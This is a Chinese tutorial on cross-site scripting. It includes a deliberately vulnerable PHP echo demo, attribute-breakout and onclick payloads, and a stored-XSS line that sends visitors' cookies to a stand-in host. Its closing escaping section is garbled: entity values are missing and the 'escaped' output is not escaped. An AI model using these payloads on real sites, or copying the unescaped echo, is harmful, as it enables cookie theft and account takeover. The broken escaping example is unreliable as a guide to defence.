什么是跨站脚本攻击xss?
恶意攻击者向Web页面里插入恶意html代码,当用户浏览该页时,嵌入Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
分析一下xss的特点:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、如果website有http-only、crossdomian.xml, 则没有用
<html>
<head></head>
<body>
<span style="font-size:14px;">
<meta http-equiv="Content-Type" content="text/html;charset=" utf-8"="" /> <title>xss原理重现</title>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="POST">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input" value="输入" />
<br />
<input type="submit" />
</form>
<hr />
<!--?php
header("Content-Type:text/html;charset=utf-8");
$xss=$_POST['xss_input'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'"-->'; }else{ echo '
<input type="type" value="输出" />'; } ?>
</center> </span>
</body>
</html>
我们在输入框里输入 "><script>alert('xss')</script>
分析这一段的代码,前面的">是为了闭合前面的`input,这个输入就可以使弹窗出现
我们也可以输入 " onclick="alert('xss')
因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,
就会触发`onclick 事件,然后执行xss
Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。
比如我们在网站的留言区输入下面的代码:<script src="js_url"></script>
当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了
下面是XSS攻击方法:
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人
例如一个网站a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码
<script>window.open(“www.b.com?param=”+document.cookie)</script>
保存文章
这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了
他们的cookie信息都发送到了我的服务器上,攻击成功!
这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
XSS防御方法:
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换
less-than character (<)<
greater-than character (>)>
ampersand character (&)&
double-quote character (“)"
space character( ) 
比如用户输入
<script>window.location.href=”http://www.baidu.com”;</script>
保存后最终存储的会是
<<script>window.location.href="http://www.baidu.com"</script>
在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码